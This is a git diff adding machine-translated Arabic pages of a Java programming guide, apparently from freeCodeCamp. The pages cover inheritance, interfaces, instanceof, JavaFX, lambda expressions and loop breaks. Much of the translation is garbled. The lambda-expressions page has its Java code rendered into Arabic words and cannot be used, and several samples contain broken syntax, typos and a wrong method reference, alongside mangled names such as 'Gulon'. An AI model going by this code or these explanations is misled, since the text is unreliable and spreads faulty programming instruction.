+من الرائع أن تكون قد أنشأت صف سيارة بنجاح. لكن ، انتظر ، أليس من المفترض أن تكون سيارات تسلا من المتغيرات الكهربائية؟ أرغب في الحصول على سيارة كهربائية ، ولكن يجب أن يكون لها خصائص `Car` الأصلية.
+
+الحل: **الميراث** . توفر Java طريقة مرتبة لخصائص الأصل "الوراثة":
+
+ `public class Car { 
+ 
+    private String name; 
+    private String manufacturerName; 
+ 
+    public Car(String name, String man) { 
+        this.name = name; 
+        this.manufacturerName = man; 
+    } 
+    // Getter method 
+    public String getName() { 
+        return name; 
+    } 
+    // Getter method 
+    public String getManufacturerName() { 
+        return manufacturerName; 
+    } 
+ } 
+ 
+ public class ElectricCar extends Car { 
+ 
+    public ElectricCar(String name, String man) { 
+        super(name, man); 
+    } 
+ 
+    public void charge() { 
+     System.out.println("Charging ..."); 
+    } 
+ } 
+ 
+ ElectricCar modelS = new ElectricCar("Model S","Tesla"); 
+ // prints Tesla 
+ System.out.println(modelS.getManufacturerName()); 
+ // prints Charging ... 
+ modelS.charge(); 
+` 
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 ":صاروخ:") [تشغيل الكود](https://repl.it/CJZY/0)
+
+انظر هنا أن الطبقة `ElectricCar` ترث أو `extends` الأساليب العامة من فئة `Car` ، وكذلك لديها أساليبها وخصائصها الخاصة. طريقة رائعة لنقل المعلومات!
+
+لاحظ أيضًا استخدام الكلمة الرئيسية [الفائقة](https://docs.oracle.com/javase/tutorial/java/IandI/super.html) هنا. بما أن صف `Car` لدينا كان منشئًا ، فيجب علينا تهيئة هذا المنشئ من فئة الطفل أيضًا. نحن نفعل ذلك باستخدام الكلمة الرئيسية `super` . قراءة المزيد عن الوراثة هنا .
\ No newline at end of file
diff --git a/client/src/guide/arabic/java/inheritance/index.md b/client/src/guide/arabic/java/inheritance/index.md
new file mode 100644
index 0000000000..4f49bd1dc3
--- /dev/null
+++ b/client/src/guide/arabic/java/inheritance/index.md
@@ -0,0 +1,183 @@
+---
+title: Inheritance
+localeTitle: ميراث
+---
+# ميراث
+
+يشير وراثة Java إلى قدرة فئة Java على أن `inherit` الخصائص من فئة أخرى. فكر في الأمر وكأنه طفل يرث العقارات من والديه ، وهذا المفهوم مشابه جدًا لذلك. في لغة جافا ، يطلق عليه أيضًا اسم " _تمديد -_ فئة". بعض الأشياء البسيطة التي يجب تذكرها:
+
+*   يسمى الفصل الذي يمتد أو يرث اسم **الفئة الفرعية**
+*   تسمى الفئة التي يتم توسيعها أو توارثها بـ **superclass**
+
+وهكذا ، يعطي الميراث جافا القدرة الرائعة على _إعادة استخدام_ الكود ، أو مشاركة الكود بين الطبقات!
+
+دعونا وصف ذلك مع المثال الكلاسيكي لل `Vehicle` الفئة و `Car` الفئة:
+
+ `public class Vehicle { 
+    public void start() { 
+        // starting the engine 
+    } 
+ 
+    public void stop() { 
+        // stopping the engine 
+    } 
+ } 
+ 
+ public class Car extends Vehicle { 
+    int numberOfSeats = 4; 
+ 
+    public int getNumberOfSeats() { 
+        return numberOfSeats; 
+    } 
+ } 
+` 
+
+هنا ، يمكننا رؤية فئة `Car` ترث خصائص فئة `Vehicle` . لذلك ، ليس علينا كتابة نفس الكود `start()` الطريقتين `start()` و `stop()` `Car` كذلك ، حيث أن هذه الخصائص متاحة من الشركة الأم أو الطبقة الفائقة. لذلك ، فإن الكائنات التي تم إنشاؤها من فئة `Car` سيكون لها هذه الخصائص _أيضًا_ !
+
+ `Car tesla = new Car(); 
+ 
+ tesla.start(); 
+ 
+ tesla.stop(); 
+` 
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 ":صاروخ:") [تشغيل الكود](https://repl.it/CJXz/0)
+
+ولكن ، هل للصف الرئيسي أساليب الطفل؟ لا ، لا.
+
+لذلك ، عندما تحتاج إلى مشاركة جزء شائع من التعليمات البرمجية بين عدة صفوف ، من الجيد دائمًا أن يكون لديك فئة رئيسية ، ثم قم بتمديد هذه الفئة كلما دعت الحاجة! يقلل عدد أسطر التعليمات البرمجية ، ويجعل وحدات التعليمات البرمجية ، ويبسط الاختبار.
+
+## ما يمكن أن يكون موروثا؟
+
+*   جميع الحقول والأساليب `protected` `public` من الوالدين
+
+## ما لا يمكن أن يورث؟
+
+*   `private` مجالات وأساليب
+*   الصانعين. وعلى الرغم من منشئ فئة فرعية _أن_ ندعو منشئ الفائقة إذا المحددة لها (المزيد عن ذلك لاحقا!)
+*   فئات متعددة. يدعم Java تواريت **واحدة** فقط ، أي أنه يمكنك فقط ترث فئة واحدة في كل مرة.
+*   مجالات. لا يمكن تجاوز الحقول الفردية للفئة حسب الفئة الفرعية.
+
+## اكتب الصب والمراجع
+
+في Java ، من الممكن الإشارة إلى فئة فرعية _كمثال_ لفئة الطبقة المميزة الخاصة بها. يطلق عليه _تعدد الأشكال_ في البرمجة الشيئية (OOP) ، والقدرة على كائن تأخذ على أشكال كثيرة. على سبيل المثال، `Car` كائن الفئة يمكن الرجوع إليها على أنها `Vehicle` مثيل فئة مثل هذا:
+
+ `Vehicle car = new Car(); 
+` 
+
+على الرغم من أن العكس غير ممكن:
+
+ `Car car = new Vehicle(); // ERROR 
+` 
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 ":صاروخ:") [تشغيل الكود](https://repl.it/CJYB/0)
+
+نظرًا لأنه يمكنك الرجوع إلى فئة فرعية من Java كمثيل فائق ، يمكنك بسهولة عرض مثيل لكائن فئة فرعية إلى مثيل superclass. من الممكن إرسال كائن superclass إلى نوع فئة فرعية ، ولكن _فقط إذا كان الكائن بالفعل مثيلًا للفئة الفرعية_ . لذا ضع ذلك في اعتبارك:
+
+ `Car car = new Car(); 
+ Vehicle vehicle = car; // upcasting 
+ Car car2 = (Car)vechile; //downcasting 
+ 
+ Bike bike = new Bike(); // say Bike is also a subclass of Vehicle 
+ Vehicle v = bike; // upcasting, no problem here. 
+ Car car3 = (Car)bike; // Compilation Error : as bike is NOT a instance of Car 
+` 
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 ":صاروخ:") [تشغيل الكود](https://repl.it/CJYM/0)
+
+الآن أنت تعرف كيفية مشاركة التعليمات البرمجية من خلال علاقة الوالدين والطفل. ولكن ، ماذا لو ، كنت لا تحب تنفيذ طريقة معينة في فئة الطفل وتريد أن تكتب واحدة جديدة لذلك؟ ماذا تفعل بعد ذلك؟
+
+## تجاوز ذلك!
+
+تسمح لك Java _بإلغاء_ أو إعادة تعريف الطرق المحددة في الطبقة الفائقة. على سبيل المثال ، يكون لفئة `Car` الخاصة بك تطبيق مختلف `start()` من `Vehicle` ، لذلك يمكنك القيام بذلك:
+
+ `public class Vehicle { 
+    public void start() { 
+      System.out.println("Vehicle start code"); 
+    } 
+ } 
+ 
+ public class Car extends Vehicle { 
+    public void start() { 
+      System.out.println("Car start code"); 
+  } 
+ } 
+ 
+ Car car = new Car(); 
+ car.start(); // "Car start code" 
+` 
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 ":صاروخ:") [تشغيل الكود](https://repl.it/CJYZ/1)
+
+لذلك ، من السهل تجاوز الأساليب في الفئة الفرعية. على الرغم من أن هناك _صيد_ . لن يتم تجاوز سوى طريقة الطبقة الفائقة هذه _بنفس طريقة توقيع_ الطريقة الفرعية. ويعني هذا أن تعريف طريقة الفئة الفرعية يجب أن يكون له نفس الاسم ، نفس العدد ونوع المعلمات ، وبالتتابع نفسه بالضبط. وبالتالي ، لن تتخطى `public void start()` `public void start(String key)` تجاوز `public void start()` .
+
+**ملاحظات** :
+
+*   لا يمكنك تجاوز الطرق الخاصة للفئة العليا. (واضح جدا ، أليس كذلك؟)
+*   ماذا لو تم القضاء على طريقة الطبقة المتفوقة التي تقوم بتجاوزها في الفئة الفرعية أو تغيير الأساليب؟ سوف تفشل في وقت التشغيل! لذا توفر لك Java `@Override` يمكنك وضعه فوق طريقة الطبقة الفرعية ، والتي ستحذر مترجم تلك الحوادث!
+
+تعتبر التعليقات التوضيحية في Java ممارسة جيدة للتشفير ، ولكنها ليست ضرورة. المترجم ذكي بما فيه الكفاية لمعرفة الغلبة من تلقاء نفسه رغم ذلك. بخلاف لغات OOP الأخرى ، التعليقات التوضيحية في Java لا تقوم بالضرورة بتعديل الطريقة أو إضافة وظائف إضافية.
+
+## كيفية استدعاء أساليب الطبقة الفائقة؟
+
+مضحك تسأل عن ذلك! ما عليك سوى استخدام الكلمة الرئيسية `super` :
+
+ `public class Vehicle() { 
+    public void start() { 
+      System.out.println("Vehicle start code"); 
+    } 
+ } 
+ 
+ public class Car extends Vehicle { 
+    public void run() { 
+      super.start(); 
+  } 
+ } 
+ 
+ Car car = new Car(); 
+ car.run(); // "Vehicle start code" 
+` 
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 ":صاروخ:") [تشغيل الكود](https://repl.it/CJY4/0)
+
+**ملاحظة** : على الرغم من أنه يمكنك استدعاء الأسلوب الأصل باستخدام استدعاء `super` ، فلا يمكنك زيادة التسلسل الهرمي للإرث مع مكالمات `super` مقفلة.
+
+## كيف تعرف نوع الصف؟
+
+باستخدام `instanceof` الكلمة. بوجود الكثير من الطبقات والفئات الفرعية ، سيكون من المربك قليلاً معرفة أي فئة هي فئة فرعية واحدة في وقت التشغيل. لذا ، يمكننا استخدام `instanceof` لتحديد ما إذا كان الكائن عبارة عن مثيل لفئة أو مثيل لفئة فرعية أو مثيل لواجهة.
+
+ `Car car = new Car(); 
+ 
+ boolean flag = car instanceof Vehicle; // true in this case! 
+` 
+
+## المقاولون والميراث
+
+كما ذكرنا سابقًا ، لا يمكن تكوين المنشئات بشكل مباشر عن طريق فئة فرعية. على الرغم من أن فئة فرعية _مطلوبة_ لاستدعاء constructor الأصل الخاص به [كأول عملية](http://stackoverflow.com/questions/1168345/why-does-this-and-super-have-to-be-the-first-statement-in-a-constructor) في مُنشئه الخاص. ماذا؟ كنت تفكر في ذلك ، وذلك باستخدام `super` :
+
+ `public class Vehicle { 
+    public Vehicle() { 
+        // constructor 
+    } 
+    public void start() { 
+      System.out.println("Vehicle start code"); 
+    } 
+ } 
+ 
+ public class Car extends Vehicle { 
+    public Car() { 
+      super(); 
+    } 
+    public void run() { 
+      super.start(); 
+  } 
+ } 
+` 
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 ":صاروخ:") [تشغيل الكود](https://repl.it/CJY8/0)
+
+تذكر ، إذا لم يكن لدى الطبقة المميزة أي تعريفات ، فلن تضطر إلى الاتصال بها بشكل مفصل في الفئة الفرعية. جافا يعالج ذلك داخليا بالنسبة لك! يتم إجراء الاستدعاء إلى منشئ `super` في الحالة عندما يتم استدعاء الفئة الفائقة مع أي مُنشئ آخر غير _المُنشئ الافتراضي_ .
+
+إذا لم يتم تعريف أية أدوات بناء أخرى ، فستقوم Java باستدعاء مُنشئ الفئة الفائقة الافتراضي ( _حتى إذا لم يتم تعريفه بشكل صريح_ ).
+
+تهانينا ، الآن أنت تعرف كل شيء عن الميراث! قراءة المزيد حول الطرق المتقدمة لوراثة الأشياء في Class Abstract [واجهات Intergaces](//forum.freecodecamp.com/t/java-docs-interfaces) !
\ No newline at end of file
diff --git a/client/src/guide/arabic/java/instanceof-operator/index.md b/client/src/guide/arabic/java/instanceof-operator/index.md
new file mode 100644
index 0000000000..2d0ab62487
--- /dev/null
+++ b/client/src/guide/arabic/java/instanceof-operator/index.md
@@ -0,0 +1,15 @@
+---
+title: instanceof Operator
+localeTitle: exampleof المشغل
+---
+# `instanceof` المشغل
+
+يسمح لك عامل التشغيل `instanceof` بالتحقق من صلاحية علاقة `IS A` . إذا لم نكن متأكدين من ذلك في أي وقت من الأوقات ، ونريد التحقق من ذلك في وقت التشغيل ، فيمكننا تنفيذ ما يلي:
+
+ ``//assuming vehicle is an instance of Class `Car` the expression inside the 'if' will  return true 
+ if(vehicle instanceof Car){ 
+    //do something if vehicle is a Car 
+ } 
+`` 
+
+**ملاحظة** : إذا قمت بتطبيق عامل التشغيل instanceof مع أي متغير له قيمة فارغة ، فسوف يقوم بإرجاع false.
\ No newline at end of file
diff --git a/client/src/guide/arabic/java/interfaces/index.md b/client/src/guide/arabic/java/interfaces/index.md
new file mode 100644
index 0000000000..fde68aed2e
--- /dev/null
+++ b/client/src/guide/arabic/java/interfaces/index.md
@@ -0,0 +1,255 @@
+---
+title: Interfaces
+localeTitle: واجهات
+---
+# واجهات
+
+واجهة في جافا قليلا مثل فئة، ولكن مع فارق كبير: و `interface` يمكن أن يكون _فقط_ تواقيع طريقة والحقول والطرق الافتراضية. منذ Java 8 ، يمكنك أيضًا إنشاء [طرق افتراضية](https://docs.oracle.com/javase/tutorial/java/IandI/defaultmethods.html) . في الجزء التالي ، يمكنك مشاهدة مثال على الواجهة:
+
+ `public interface Vehicle { 
+    public String licensePlate = ""; 
+    public float maxVel 
+    public void start(); 
+    public void stop(); 
+    default void blowHorn(){ 
+      System.out.println("Blowing horn"); 
+   } 
+ } 
+` 
+
+تحتوي الواجهة أعلاه على حقلين وطريقتين وطريقة افتراضية. وحدها ، ليست ذات فائدة كبيرة ، ولكنها تستخدم عادة مع الفصول. ماذا؟ بسيطة ، عليك أن تتأكد من أن بعض الصف يقوم `implements` .
+
+ `public class Car implements Vehicle { 
+    public void start() { 
+        System.out.println("starting engine..."); 
+    } 
+    public void stop() { 
+        System.out.println("stopping engine..."); 
+    } 
+ } 
+` 
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 ":صاروخ:") [تشغيل الكود](https://repl.it/CItd/0)
+
+الآن ، هناك **قاعدة أساسية** : يجب على الفئة تنفيذ **كافة** الطرق في الواجهة. يجب أن تحتوي الطرق _على نفس_ التوقيع _بالضبط_ (الاسم والمعلمات والاستثناءات) كما هو موضح في الواجهة. الفئة _لا_ تحتاج إلى إعلان الحقول رغم ذلك ، فقط الطرق.
+
+## مثيلات واجهة
+
+بمجرد إنشاء فئة Java تقوم `implements` أي واجهة ، يمكن الإشارة إلى مثيل الكائن كمثيل للواجهة. هذا المفهوم مشابه لمبدأ إنشاء الوراثة.
+
+ `// following our previous example 
+ 
+ Vehicle tesla = new Car(); 
+ 
+ tesla.start(); // starting engine ... 
+` 
+
+**لا يمكن أن** تحتوي واجهة على أساليب منشئ ، لذلك **لا يمكنك** إنشاء مثيل لواجهة بنفسها. يجب إنشاء مثيل لفئة معينة تقوم بتطبيق واجهة للرجوع إليها. فكر في الواجهات على أنها نموذج عقد فارغ ، أو نموذج.
+
+ما الذي يمكنك القيام به مع هذه الميزة؟ تعدد الأشكال! يمكنك استخدام الواجهات فقط للإشارة إلى مثيلات الكائن!
+
+ `class Truck implements Vehicle { 
+    public void start() { 
+        System.out.println("starting truck engine..."); 
+    } 
+    public void stop() { 
+        System.out.println("stopping truck engine..."); 
+    } 
+ } 
+ 
+ class Starter { 
+    // static method, can be called without instantiating the class 
+    public static void startEngine(Vehicle vehicle) { 
+        vehicle.start(); 
+    } 
+ } 
+ 
+ Vehicle tesla = new Car(); 
+ Vehicle tata = new Truck(); 
+ 
+ Starter.startEngine(tesla); // starting engine ... 
+ Starter.startEngine(tata); // starting truck engine ... 
+` 
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 ":صاروخ:") [تشغيل الكود](https://repl.it/CItm/0)
+
+## ولكن ماذا عن واجهات متعددة؟
+
+نعم ، يمكنك تنفيذ واجهات متعددة في فصل واحد. أثناء [تواجدك](//forum.freecodecamp.com/t/java-docs-inheritance) في [التوارث](//forum.freecodecamp.com/t/java-docs-inheritance) داخل الصفوف ، تم تقييدك في فئة واحدة فقط ، يمكنك هنا توسيع أي عدد من الواجهات. ولكن لا ننسى تنفيذ _جميع_ أساليب جميع واجهات ، وإلا سوف تفشل التجميع!
+
+ `public interface GPS { 
+    public void getCoordinates(); 
+ } 
+ 
+ public interface Radio { 
+    public void startRadio(); 
+    public void stopRadio(); 
+ } 
+ 
+ public class Smartphone implements GPS,Radio { 
+    public void getCoordinates() { 
+        // return some coordinates 
+    } 
+    public void startRadio() { 
+      // start Radio 
+    } 
+    public void stopRadio() { 
+        // stop Radio 
+    } 
+ } 
+` 
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 ":صاروخ:") [تشغيل الكود](https://repl.it/CIto/0)
+
+## بعض ميزات واجهات
+
+*   يمكنك وضع المتغيرات داخل واجهة ، على الرغم من أنه لن يكون قرارًا معقولًا لأن الفئات غير مرتبطة بالمتغير نفسه. باختصار ، تجنب وضع المتغيرات!
+*   تكون جميع المتغيرات والطرق في الواجهة عامة ، حتى إذا تركت الكلمة الرئيسية `public` .
+*   لا يمكن للواجهة تحديد تنفيذ طريقة معينة. ما يصل إلى فئات للقيام بذلك. على الرغم من وجود استثناء حديث (انظر أدناه).
+*   إذا قامت فئة بتطبيق واجهات متعددة ، فهناك احتمال بعيد لتداخل توقيع الأسلوب. بما أن Java لا تسمح بطرق متعددة من نفس التوقيع بالضبط ، فقد يؤدي هذا إلى حدوث مشكلات. انظر [هذا السؤال](http://stackoverflow.com/questions/2598009/method-name-collision-in-interface-implementation-java) لمزيد من المعلومات.
+
+## طرق الواجهة الافتراضية
+
+قبل Java 8 ، لم يكن لدينا طريقة لتوجيه واجهة لتطبيق طريقة معينة. هذا يؤدي إلى الكثير من الارتباك وفواصل التعليمات البرمجية إذا تم تغيير تعريف واجهة فجأة.
+
+لنفترض أنك كتبت مكتبة مفتوحة المصدر تحتوي على واجهة. لنفترض أن عملاءك ، أي جميع المطورين تقريبًا في جميع أنحاء العالم ، يستخدمونها بكثافة ويسعدون. الآن كان عليك ترقية المكتبة بإضافة تعريف أسلوب جديد إلى الواجهة لدعم ميزة جديدة. ولكن هذا من شأنه أن يكسر _جميع عمليات_ البناء لأن كل الطبقات التي تقوم بتنفيذ هذه الواجهة يجب أن تتغير الآن. يا لها من كارثة!
+
+لحسن الحظ ، توفر لك Java 8 الآن الطرق `default` للواجهات. _يمكن أن_ تحتوي الطريقة `default` على التنفيذ الخاص بها _مباشرة_ داخل الواجهة! لذا ، إذا لم يقم تطبيق Class بتنفيذ طريقة افتراضية ، فسيأخذ المترجم التنفيذ المذكور داخل الواجهة. جميل أليس كذلك؟ لذلك في مكتبتك ، يمكنك إضافة أي عدد من الطرق الافتراضية في واجهات دون الخوف من كسر أي شيء!
+
+ `public interface GPS { 
+    public void getCoordinates(); 
+    default public void getRoughCoordinates() { 
+        // implementation to return coordinates from rough sources 
+        // such as wifi & mobile 
+        System.out.println("Fetching rough coordinates..."); 
+    } 
+ } 
+ 
+ public interface Radio { 
+    public void startRadio(); 
+    public void stopRadio(); 
+ } 
+ 
+ public class Smartphone implements GPS,Radio { 
+    public void getCoordinates() { 
+        // return some coordinates 
+    } 
+    public void startRadio() { 
+      // start Radio 
+    } 
+    public void stopRadio() { 
+        // stop Radio 
+    } 
+ 
+    // no implementation of getRoughCoordinates() 
+ } 
+ 
+ Smartphone motoG = new Smartphone(); 
+ motog.getRoughCoordinates(); // Fetching rough coordinates... 
+` 
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 ":صاروخ:") [تشغيل الكود](https://repl.it/CItp/0)
+
+### ولكن ، ماذا يحدث إذا كان للواجهتين نفس توقيع الطريقة؟
+
+سؤال رائع. في هذه الحالة ، إذا لم تقدم التطبيق في الصف ، فسوف يتم خلط المترجم الضعيف ويفشل ببساطة! يجب عليك توفير تنفيذ طريقة افتراضية داخل الفئة أيضًا. هناك أيضًا طريقة رائعة تستخدم ميزة `super` للاتصال بأي تطبيق تريده:
+
+ `public interface Radio { 
+    // public void startRadio(); 
+    // public void stopRadio(); 
+ 
+    default public void next() { 
+        System.out.println("Next from Radio"); 
+    } 
+ } 
+ 
+ public interface MusicPlayer { 
+    // public void start(); 
+    // public void pause(); 
+    // public void stop(); 
+ 
+    default public void next() { 
+        System.out.println("Next from MusicPlayer"); 
+    } 
+ } 
+ 
+ public class Smartphone implements Radio, MusicPlayer { 
+    public void next() { 
+        // Suppose you want to call MusicPlayer next 
+        MusicPlayer.super.next(); 
+    } 
+ } 
+ 
+ Smartphone motoG = new Smartphone(); 
+ motoG.next(); // Next from MusicPlayer 
+` 
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 ":صاروخ:") [تشغيل الكود](https://repl.it/CIts/0)
+
+## طرق ثابتة في واجهات
+
+جديد أيضا إلى Java 8 هو القدرة على إضافة أساليب ثابتة إلى واجهات. تتشابه الطرق الثابتة في الواجهات تقريبًا مع الطرق الثابتة في الفصول الخرسانية. الاختلاف الكبير الوحيد هو أن الأساليب `static` غير موروثة في الفئات التي تقوم بتطبيق الواجهة. وهذا يعني أنه يتم الإشارة إلى الواجهة عند استدعاء الأسلوب الثابت وليس الفئة التي تقوم بتطبيقه.
+
+ `interface MusicPlayer { 
+  public static void commercial(String sponsor) { 
+    System.out.println("Now for a message brought to you by " + sponsor); 
+  } 
+ 
+  public void play(); 
+ } 
+ 
+ 
+ class Smartphone implements MusicPlayer { 
+    public void play() { 
+        System.out.println("Playing from smartphone"); 
+    } 
+ } 
+ 
+ class Main { 
+  public static void main(String[] args) { 
+    Smartphone motoG = new Smartphone(); 
+    MusicPlayer.commercial("Motorola"); // Called on interface not on implementing class 
+    // motoG.commercial("Motorola"); // This would cause a compilation error 
+  } 
+ } 
+` 
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 ":صاروخ:") [تشغيل الكود](https://repl.it/CIts/9)
+
+## وراثة واجهة
+
+من الممكن أيضًا في Java لواجهة _ترث_ واجهة أخرى ، باستخدام ، تفكر في ذلك ، `extends` الكلمة الرئيسية:
+
+ `public interface Player { 
+    public void start(); 
+    public void pause(); 
+    public void stop(); 
+ } 
+ 
+ public interface MusicPlayer extends Player { 
+    default public void next() { 
+        System.out.println("Next from MusicPlayer"); 
+    } 
+ } 
+` 
+
+هذا يعني ، أن تطبيق Class `MusicPlayer` Interface (واجهة `MusicPlayer` يجب أن يقوم بتنفيذ _جميع_ أساليب `MusicPlayer` بالإضافة إلى `Player` :
+
+ `public class SmartPhone implements MusicPlayer { 
+    public void start() { 
+        System.out.println("start"); 
+    } 
+    public void stop() { 
+        System.out.println("stop"); 
+    } 
+    public void pause() { 
+        System.out.println("pause"); 
+    } 
+ } 
+` 
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 ":صاروخ:") [تشغيل الكود](https://repl.it/CIty/0)
+
+عفوًا ، هل نسيت `next()` ؟ انظر ، لأنه كان طريقة `default` ، لم يكن لدي لتوفير التنفيذ على الإطلاق. (لن يعمل لـ JDK <8)
+
+لذلك ، الآن لديك فهم جيد للواجهات! اذهب لمعرفة المزيد عن "الطبقات المستخلصة" لتعرف كيف تقدم لك جافا طريقة أخرى لتعريف العقود.
\ No newline at end of file
diff --git a/client/src/guide/arabic/java/java-bean/index.md b/client/src/guide/arabic/java/java-bean/index.md
new file mode 100644
index 0000000000..079914beb7
--- /dev/null
+++ b/client/src/guide/arabic/java/java-bean/index.md
@@ -0,0 +1,11 @@
+---
+title: Java Bean
+localeTitle: جافا بين
+---
+## جافا بين
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/quadratic-equations/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/java/javafx/index.md b/client/src/guide/arabic/java/javafx/index.md
new file mode 100644
index 0000000000..97d82975a7
--- /dev/null
+++ b/client/src/guide/arabic/java/javafx/index.md
@@ -0,0 +1,36 @@
+---
+title: JavaFX
+localeTitle: سكريبت
+---
+## المقدمة
+
+JavaFX عبارة عن إطار عمل رسومات تم إنشاؤه بواسطة Sun Microsystems والذي يستخدم لتطوير تطبيقات سطح المكتب والإنترنت الغنية. تم إنشاء JavaFX ليحل محل المكتبات القديمة (Swing and Abstract Window Toolkit (AWT)) ، ويعمل كواجهة برمجة تطبيقات رسومية قياسية في لغة جافا لـ Java Standard Edition.
+
+## ادوات التطوير
+
+### جولون SceneBuilder
+
+Gulon Scene Builder هو تطبيق يستخدم لتصميم واجهة المستخدم (UI) في JavaFX. يستخدم التطبيق خاصية السحب والإفلات لتصميم واجهة المستخدم السريع الذي يسمح لك بتصوير الواجهة التي تقوم بإنشائها أثناء تصميمها.
+
+#### Screeenshots:
+
+![المشهد باني واجهة المستخدم](https://i.imgur.com/3d9SqBR.png)
+
+### FXML
+
+FXML هي لغة ترميز مبنية على XML تستخدم لتعريف البنى في JavaFX. يحدد مستند FXML الكائنات المختلفة في الصف في شجرة شبيهة بعلامة التعشيش في مستندات XML.
+
+#### مثال:
+
+ `<HBox spacing="10" alignment="bottom_right" > // Creates an HBox Object 
+        <Button text="Sign In"/> // Nested inside the HBox is a Button object with the text 'Sign In' 
+ </HBox> 
+` 
+
+### المراجع:
+
+[مستندات FXML](https://docs.oracle.com/javase/8/javafx/api/javafx/fxml/doc-files/introduction_to_fxml.html)
+
+[المشهد منشئ تعليمي](https://docs.oracle.com/javase/8/scene-builder-2/get-started-tutorial/overview.htm#JSBGS164)
+
+[وثائق JavaFX الرسمية](https://docs.oracle.com/javase/8/javase-clienttechnologies.htm)
\ No newline at end of file
diff --git a/client/src/guide/arabic/java/lambda-expressions/index.md b/client/src/guide/arabic/java/lambda-expressions/index.md
new file mode 100644
index 0000000000..752edb4194
--- /dev/null
+++ b/client/src/guide/arabic/java/lambda-expressions/index.md
@@ -0,0 +1,37 @@
+---
+title: Lambda Expressions 
+localeTitle: تعبيرات لامدا
+---
+## تعبيرات لامدا
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/quadratic-equations/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+يتم استخدام Stream Api في java للسماح بتسلسل العمليات المتسلسلة والإجمالية. عمليات دفق إما المتوسطة أو الطرفية في الطبيعة.
+
+في هذا المثال الصغير ، يمكنك أن ترى أن أحد الأدوات المساعدة الخاصة بالدفق هو استلام خاصية معينة لكل الكائنات في قائمة وإعادتها في قائمة أخرى باستخدام عمليات وسيطة ومحطات طرفية.
+
+افترض أن لديك فئة كائن من الطلاب. \`\` جافا طلاب الطبقة العامة { int studentId؛ سلسلة الطالب
+
+سلسلة عامة getStudentName () { return this.studentName؛ }
+
+public int getStudentId () { return this.studentId؛ } // المستأجرين } \`\`
+
+الآن نفترض في بعض الطرق أن لديك قائمة بجميع الطلاب وترغب في الحصول على قائمة بجميع أسماء الطلاب. تقليديا هذا يمكن أن يبدو شيء من هذا القبيل.
+
+\`\` جافا قائمة الطلاب = بعض قائمة كائنات الطلاب
+
+قائمة studentNames = new ArrayList <> ()؛ لـ (طالب الطالب: الطلاب) { studentNames.add (student.getStudentName ())؛ } \`\` في حين أن هذا ليس رهيبًا ، يمكن تبسيطه. باستخدام دفق هذا ممكن مع سطر واحد من التعليمات البرمجية.
+
+\`\` جافا قائمة الطلاب = بعض قائمة كائنات الطلاب
+
+قائمة studentNames = students.stream (). map (String :: getStudentName) .collect (Collectors.toList ())؛ \`\`
+
+يقوم الطلاب بتدفق api على قائمة الطلاب ويستخدم وظيفة الخريطة المتوسطة لإرجاع قائمة جديدة من التدفقات باستخدام أي طريقة على يمين ::
+
+تجمع عملية جمع المحطة الطرفية الدفق كقائمة من السلاسل.
+
+هذا هو استخدام واحد فقط من Streams Api المستخدم في java 8. هناك العديد من التطبيقات الأخرى من التدفقات التي تستخدم العمليات الأخرى كما هو موضح هنا في الوثائق. [تيارات api وثيقة](https://docs.oracle.com/javase/8/docs/api/java/util/stream/Stream.html)
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/java/loops/break-control-statement/index.md b/client/src/guide/arabic/java/loops/break-control-statement/index.md
new file mode 100644
index 0000000000..e7284ff16e
--- /dev/null
+++ b/client/src/guide/arabic/java/loops/break-control-statement/index.md
@@ -0,0 +1,73 @@
+---
+title: Break Control Statement
+localeTitle: بيان التحكم في الاستراحة
+---
+# بيان التحكم في الاستراحة
+
+إنهاء الحلقة ويبدأ تنفيذ التعليمة البرمجية التي تتبع مباشرة الحلقة. إذا كان لديك حلقات متداخلة ، فسيؤدي بيان `break` فقط إلى إنهاء الحلقة التي يتم وضعها فيها.
+
+ `// Loop 1 
+ for (int i = 0; i < 10; i++) 
+ { 
+    // Loop 2 
+    for (int j = 0; j < 10; j++) 
+    { 
+        if (i == 5 && j == 5) 
+        { 
+            break; // Will terminate Loop 2, but Loop 1 will keep going 
+        } 
+    } 
+ } 
+` 
+
+ولكن إذا كنت تريد الخروج من الحلقة الخارجية أيضًا ، فيمكنك استخدام تصنيف للخروج:
+
+ `loop1: // This is a label 
+ for (int i = 0; i < 10; i++) 
+ { 
+    // Loop 2 
+    for (int j = 0; j < 10; j++) 
+    { 
+        if (i == 5 && j == 5) 
+        { 
+            break loop1; // Will break out of Loop 1, instead of Loop 2 
+        } 
+    } 
+ } 
+` 
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 ":صاروخ:") [تشغيل الكود](https://repl.it/CJZA/0)
+
